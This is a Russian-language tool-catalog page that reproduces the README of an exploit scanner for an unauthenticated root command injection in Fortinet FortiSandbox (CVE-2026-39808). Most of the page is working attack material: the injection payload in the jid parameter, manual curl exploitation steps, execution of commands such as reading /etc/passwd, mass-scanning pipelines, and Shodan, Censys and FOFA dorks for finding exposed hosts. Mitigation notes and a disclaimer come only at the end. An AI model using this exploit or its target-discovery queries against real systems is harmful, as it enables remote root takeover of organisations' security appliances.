Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
FortiSandbox-RCE-Exploit-CVE-2026-39808 — Неаутентифицированный сканер RCE для FortiSandbox CVE-2026-39808 с проверкой на основе canary, выполнением команд и интеграцией в конвейер для массового сканирования. | Kitploit
Инструменты/GitHubGitHub/ynsmroztas/fortisandbox-rce-exploit-cve-2026-39808
РазведкаСканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и Управление
GitHubynsmroztas/fortisandbox-rce-exploit-cve-2026-39808

FortiSandbox-RCE-Exploit-CVE-2026-39808

Неаутентифицированный сканер RCE для FortiSandbox CVE-2026-39808 с проверкой на основе canary, выполнением команд и интеграцией в конвейер для массового сканирования.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
2684 месяцев назадПроверено Kitploit

FortiSandbox RCE Scanner — CVE-2026-39808

CVE-2026-39808 FortiSandbox RCE

CVE-2026-39808 CVSS 9.8 Python 3.7+ No dependencies MIT License

Неаутентифицированная инъекция OS-команд от имени root в Fortinet FortiSandbox

Уязвимость • Установка • Использование • Принцип работы • Конвейер • Shodan Dorks • Отказ от ответственности


Уязвимость

CVE-2026-39808 — критическая неаутентифицированная уязвимость инъекции OS-команд в Fortinet FortiSandbox. Конечная точка API /fortisandbox/job-detail/tracer-behavior не выполняет санитизацию параметра jid, что позволяет атакующему внедрять произвольные OS-команды, выполняемые от имени root — без какой-либо аутентификации.

Первопричина

Параметр jid в конечной точке tracer-behavior передаётся напрямую в системную команду без санитизации. Используя символы конвейера (|), атакующий может выйти за пределы предполагаемого контекста команды и выполнить произвольные команды:

root@kitploit:~
GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1

Вывод записывается в /web/ng/out.txt, который доступен по адресу /ng/out.txt на веб-сервере — что обеспечивает удобный механизм чтения результатов для слепой инъекции команд.


Установка

Ноль зависимостей. Только стандартная библиотека Python 3.7+.

root@kitploit:~
git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py

Использование

Базовое сканирование

root@kitploit:~
# Проверить, уязвима ли цель (используется обнаружение на основе канареечной строки)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com

Выполнение команды

root@kitploit:~
# Выполнить конкретную команду на цели
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"

Только проверка (без выполнения команд)

root@kitploit:~
# Только проверить уязвимость, не выполнять --cmd
python3 fortisandbox_rce.py -u https://target.com --verify-only

С Burp Proxy

root@kitploit:~
python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080

JSON-отчёт

root@kitploit:~
python3 fortisandbox_rce.py -u https://target.com -o report.json

Режим конвейера (массовое сканирование)

root@kitploit:~
# Из списка URL
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json

# subfinder → httpx → сканер
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin

# Shodan → сканер
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
  sed 's/^/https:\/\//' | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only -o results.json

Все параметры

root@kitploit:~
usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
                           [--proxy PROXY] [--timeout TIMEOUT]
                           [--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]

Options:
  -u, --url URL           Целевой URL
  --stdin                 Читать URL из stdin (режим конвейера)
  --cmd CMD               OS-команда для выполнения (по умолчанию: id)
  --verify-only           Только проверить уязвимость, не выполнять --cmd
  --proxy PROXY           HTTP-прокси (например, http://127.0.0.1:8080)
  --timeout TIMEOUT       HTTP-таймаут в секундах (по умолчанию: 15)
  --rate-limit RATE_LIMIT Задержка между целями в мс (по умолчанию: 0)
  -o, --output FILE       Файл JSON-отчёта
  --no-banner             Подавить баннер

Принцип работы

Сканер использует 5-этапный процесс проверки со строгим предотвращением ложных срабатываний:

root@kitploit:~
Шаг 1  →  Обнаружение FortiSandbox (отпечаток по заголовку/заголовкам)
Шаг 2  →  Проверка существования уязвимой конечной точки
Шаг 3  →  Внедрение уникальной канареечной строки через инъекцию команд
Шаг 4  →  Чтение /ng/out.txt и проверка канареечной строки (строгая валидация обычного текста)
Шаг 5  →  Выполнение пользовательской команды + очистка

Предотвращение ложных срабатываний

Сканер реализует несколько уровней валидации для устранения ложных срабатываний:

  • Обнаружение HTML — Если выходной URL возвращает HTML-страницу (catch-all Angular SPA), это помечается как ложное срабатывание
  • Проверка Content-Type — Вывод команды не должен быть text/html
  • Изоляция канареечной строки — Канареечная строка должна появляться в чистом обычном тексте, а не внутри HTML-тегов
  • Регулярное выражение вывода id — Строгое сопоставление шаблона uid=\d+(\w+) с проверкой размера (<1000 байт)
  • Нормализация базового URL — Автоматическое удаление суффикса /ng для предотвращения проблем с двойным путём

Пример вывода

Уязвимая цель

root@kitploit:~
  ╔══════════════════════════════════════════════════════════╗
  ║  FortiSandbox RCE Scanner v1.0  —  CVE-2026-39808      ║
  ║  Неаутентифицированная инъекция команд (root)          ║
  ╚══════════════════════════════════════════════════════════╝
  mitsec | @ynsmroztas

  ┌──────────────────────────────────────────────────────────┐
  │ Цель: https://fortisandbox.example.com                   │
  └──────────────────────────────────────────────────────────┘
  ✓ FortiSandbox обнаружен!
  ▸ Проверка конечной точки: /fortisandbox/job-detail/tracer-behavior
  ▸ Статус конечной точки: 200 | Content-Type: text/html
  ▸ Внедрение канареечной строки: mitsec_a8k3m2x1
  ▸ Чтение вывода: https://fortisandbox.example.com/ng/out.txt
   CRITICAL  🔥 УЯЗВИМ — CVE-2026-39808 ПОДТВЕРЖДЁН!
   CRITICAL  Цель: https://fortisandbox.example.com
  ✓ Канареечная строка 'mitsec_a8k3m2x1' подтверждена в выводе (чистый обычный текст)

  ──────────────────────────────────────────────────────────
    Вывод команды: id
  ──────────────────────────────────────────────────────────
  │ uid=0(root) gid=0(root) groups=0(root)
  ──────────────────────────────────────────────────────────

  ✓ Файл вывода очищен

Не уязвимая

root@kitploit:~
  ┌──────────────────────────────────────────────────────────┐
  │ Цель: https://patched.example.com                        │
  └──────────────────────────────────────────────────────────┘
  ✓ FortiSandbox обнаружен!
  ▸ Проверка конечной точки: /fortisandbox/job-detail/tracer-behavior
  ✗ Конечная точка вернула 404 — не уязвима или исправлена

Обработка ложного срабатывания

root@kitploit:~
  ▸ Чтение вывода: https://target.com/ng/out.txt
  ⚠ Выходной URL возвращает HTML-страницу — это Angular SPA, а НЕ вывод команды
  ▸ Content-Type: text/html
  ▸ Это ложное срабатывание — /ng/out.txt обслуживает index.html SPA
  ▸ Цель не выглядит уязвимой

Формат JSON-отчёта

root@kitploit:~
{
  "scanner": "fortisandbox_rce",
  "version": "1.0",
  "cve": "CVE-2026-39808",
  "scan_date": "2026-04-22T10:30:00+00:00",
  "total_targets": 5,
  "vulnerable": 1,
  "results": [
    {
      "target": "https://fortisandbox.example.com",
      "vulnerable": true,
      "details": {
        "is_fortisandbox": true,
        "server": "Apache",
        "canary": "mitsec_a8k3m2x1",
        "verification": "canary_match",
        "command": "id",
        "output": "uid=0(root) gid=0(root) groups=0(root)"
      },
      "timestamp": "2026-04-22T10:30:00+00:00"
    }
  ]
}

Интеграция в конвейер

Сканер выводит уязвимые URL в stdout (весь остальной вывод идёт в stderr), что делает его полностью совместимым с конвейерами:

root@kitploit:~
# Найти уязвимые цели и сохранить
subfinder -d corp.com -silent | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only 2>/dev/null | \
  tee vulnerable_fortisandbox.txt

# Объединить с nuclei для дальнейшего тестирования
cat vulnerable_fortisandbox.txt | nuclei -t cves/

# Тихий массовый скан с ограничением скорости
cat shodan_results.txt | \
  python3 fortisandbox_rce.py --stdin --verify-only --rate-limit 1000 --no-banner -o report.json

Shodan Dorks

root@kitploit:~
title:"FortiSandbox"
title:"FortiSandbox - Please login"
http.html:"FortiSandbox" port:443
"FortiSandbox" ssl:"Fortinet"
http.favicon.hash:-1222072778

Censys:

root@kitploit:~
services.http.response.html_title:"FortiSandbox"

FOFA:

root@kitploit:~
title="FortiSandbox - Please login"
title="FortiSandbox" && country="TR"

Google Dork:

root@kitploit:~
intitle:"FortiSandbox - Please login"

Ручная проверка

Если вы предпочитаете проверять вручную с помощью curl:

root@kitploit:~
# Шаг 1: Внедрить команду
curl -s -k --get "https://TARGET/fortisandbox/job-detail/tracer-behavior" \
  --data-urlencode "jid=|(id > /web/ng/out.txt)|"

# Шаг 2: Прочитать вывод
curl -s -k "https://TARGET/ng/out.txt"
# Ожидаемый результат: uid=0(root) gid=0(root) groups=0(root)

Устранение уязвимости

  • Обновите FortiSandbox до версии 4.4.9 или выше
  • Если немедленное исправление невозможно:
    • Ограничьте сетевой доступ к интерфейсу управления FortiSandbox
    • Используйте правила межсетевого экрана для блокировки внешнего доступа к конечным точкам /fortisandbox/job-detail/
    • Отслеживайте журналы на предмет подозрительных значений параметра jid, содержащих символы конвейера

Хронология

ДатаСобытие
Ноябрь 2025Уязвимость обнаружена
Апрель 2026Опубликован CVE-2026-39808
Апрель 2026Исправлено в FortiSandbox 4.4.9

Ссылки

  • Консультация Fortinet PSIRT — FG-IR-25-325
  • CVE-2026-39808 — NVD

Отказ от ответственности

Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам является незаконным. Всегда получайте надлежащее письменное разрешение перед тестированием. Автор не несёт ответственности за неправомерное использование этого инструмента.


Автор

mitsec — @ynsmroztas

  • Портфолио: ynsmroztas.github.io
  • 100+ Hall of Fame | 2 430+ раскрытых уязвимостей | 1 100+ критических находок

Если этот инструмент помог вам, поставьте ему ⭐

Скачать инструмент
ДетальЗначение
CVE IDCVE-2026-39808
CVSS Score9.8 (Critical)
Вектор атакиСеть
АутентификацияНе требуется
ПривилегииRoot
Затронутые версииFortiSandbox < 4.4.9
Исправлено в4.4.9 и выше
КонсультацияFG-IR-25-325